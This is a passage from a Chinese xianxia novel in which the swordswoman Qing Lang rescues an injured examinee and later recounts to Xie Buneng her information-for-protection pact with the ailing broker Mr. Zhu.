“在鉴堂门口捡到的考生。”青琅皱眉道,“几十人在外长跪不起,恳请堂主取消他前往道盟任职的资格。他不相信鉴堂会依照规矩办事,便擅自当街与人争吵,引得堂主火冒三丈,一掌将他打成这样了。”
九州七道,各地皆有鉴堂。鉴堂乃道盟所设,每三年举行考核,位居前十者可以在道盟拥有一官半职。世间天资平庸的修行者,若想为道盟贡献一份力量,参加鉴堂考核是不错的途径。
明霜退提醒道:“你要帮他?旁人骂他一万句,堂主伤他一百掌,鉴堂也得按照规定将他送往道盟。你若出手,或让他来麻烦我,都会教他更引人注意。”
青琅道:“清静道天寒地冻,这人资质平庸而体弱气虚,昏迷在鉴堂门口,不一定熬得到明天早晨。我原先只想寻一医馆救治他,可惜出门太赶,没有带钱。”
明霜退沉吟片刻:“来路不明的人,最好一点都别管。你查过他没有?他遭人针对至此,你应该能从闲言碎语里,听出些信息来吧。”
青琅道:“没关注。”
明霜退嘴角抽动:“你在三桂山闭关,连只活物都见不着,被关傻了吧?要我说,你拒绝道盟邀约,是明智之举。如今,道盟权势由柏川尊者派系一手把持,我表哥风头正盛。你与柏川尊者有些旧怨,与我表哥又向来不对付,若是加入道盟,怕是要被吃得连骨头渣子都不剩。”
青琅问:“我听人说,明清英在清静道。”
明霜退连忙摆手:“你要做什么?他当年单打独斗,我们二人人数占优。如今他受天道封尊号,已不同往日。你得忍一忍,忍到我受封,再与他对战!”
为避免青琅提剑搜寻,为迅速终结这个晦气的话题,明霜退将身侧的包裹打开,取出一块玉佩。那玉佩色泽莹润,上方端端正正地刻着一个「明」字,看起来玄妙非常。
她道:“你捡来的这位道友……我把这块玉佩借他一用吧。往后一段时日,莫说鉴堂堂主,无论是谁,都要看在我的面子上让他三分。若他自己足够机灵,懂得借势而上,说不准还能收获几分其他助力。”
青琅道:“我只想保他一命。”
“救他一时,无法救他一世。若他因为你今日帮助而心存侥幸,以后到了道盟仍旧如此行事……还不如继续昏倒在鉴堂门口听天由命。”明霜退咬牙道,“更何况,你来得那么迟,害我身上金银俗物已全作酒钱!”
耳鸣不止,被捡的道友——孟竹勉力睁开双眼。
模糊不清的视线里,有二人对坐相谈,一人持刀,一人按剑。茶酒的热气自中间杯盏蜿蜒升起,是寒凉冬日里
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难得的暖意。
滴答滴答。
天色将明,窗外雨丝细细密密连成线。
积香集里,竹先生自梦中惊醒。百年前的风雪遥远而模糊地缠绕着他,教他虽裹着厚重棉被,仍觉四肢冰凉而胸腔钝痛。
“咳……咳咳……”他蜷起身体,熬过一阵撕心裂肺的咳嗽。
这具残躯病体强撑多年,还未到山穷水尽的地步。只是如今,比他的身体更为迅速崩坏的,是他苦心经营的积香集。道盟来使与玉堂城来客同时向他施压,积香集不再是自由但安全的避风港,似是要成为吞噬一切的漩涡中心。
无尽的忧虑与恐惧搅得竹先生一身病痛彻底翻腾起来。他艰难地喘匀了气,坐起身,用沾染着零星血迹的手掌,轻轻推合木窗。
他承过别人的恩情,背叛过别人,亏欠过别人,苟且偷生许多年,已到偿还的时候。一切都是注定的——从他闲来无事看马戏,捡到阿梅的那一天,他就注定没办法心安理得地躲过这些债孽了。
竹先生裹紧外衣,手指悬停在燃着安神香的暖炉上。片刻后,他收回手,从门边抽出两把竹骨伞。
“走吧。”他对等候已久的车夫吩咐道,语气轻飘飘,“有新的客人要来了。”
……
一辆不起眼的菜车晃过长街,熟练地避开宵禁时分巡逻的守卫,直往东南去。聋哑菜农坐在横杆上,伸手拽住鼓飞的车帘。
青琅与谢不能对坐,淡淡道:“去年,我往玉堂城欲杀李观主。计划当日,他恰巧去永和城参加元旦盛会,傍晚回到太虚观时,有长梧山庄侍卫陪同护送。我担忧在大庭广众之下杀他会遭追捕通缉,往后难有清静日子,便没有动手。”
“计划失败,教人烦躁。又逢骤雨,惯常走的路被摊贩存放避雨的杂物堵死,只能绕行。我明明已经选了最偏僻的小路,偏偏又撞见几个聒噪之人,当街敲诈勒索。我觉得碍眼,顺手将他们处理了。”
“事后,竹先生找到我道谢,说被勒索之人是他的妹妹阿梅。他身有痼疾,恐时日无多,若他日身死,望我能看顾阿梅,为其寻一安稳去处。作为交换,他可以倾尽积香集之力为我提供消息,价格从优。”
谢不能道:“路见不平,拔刀相助;机缘巧合,托付身后事。听起来,倒是一段佳话。”
青琅道:“出手打人,是我心情不好,恰逢其会。应下约定,只因代价合宜,各取所需。”
谢不能若有所思:“竹先生人脉通达,为何会这样干脆地选择你?”
“不清楚,而且不重要。”青琅道,“他的要求,我能做到;他的条件,正是我所需要的。”
谢不能问道:“我打听过竹先生来历,确是奇人。他曾是清静道武圣主座下,后来年岁渐长,发觉自己志不在修道,反热衷于经营算计、积攒钱财。于是他辞别武圣,辗转各地,最终在平州一手建立积香集。关于他的妹妹阿梅……消息太少,似是没什么存在感。”
青琅道:“她常来我家,替我浇花。”
或者说——“她们”。